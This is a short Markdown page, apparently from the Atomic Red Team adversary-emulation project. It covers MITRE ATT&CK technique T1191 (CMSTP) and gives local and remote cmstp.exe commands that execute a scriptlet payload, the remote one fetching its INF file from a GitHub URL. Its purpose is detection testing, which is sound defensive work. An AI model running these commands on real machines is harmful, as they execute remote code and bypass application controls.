045a13030b
Should it also be "Local:"?
20 lines
483 B
Markdown
20 lines
483 B
Markdown
## CMSTP
|
|
|
|
MITRE ATT&CK Technique: [T1191](https://attack.mitre.org/wiki/Technique/T1191)
|
|
|
|
### Scriptlet execution
|
|
|
|
Local:
|
|
|
|
cmstp.exe /s CMSTP.inf
|
|
|
|
Remote:
|
|
|
|
cmstp.exe /ni /s https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/CMSTP.inf
|
|
|
|
## Test Script
|
|
|
|
[CMSTP.INF](https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/CMSTP.inf)
|
|
|
|
[CMSTP.SCT](https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/CMSTP.sct)
|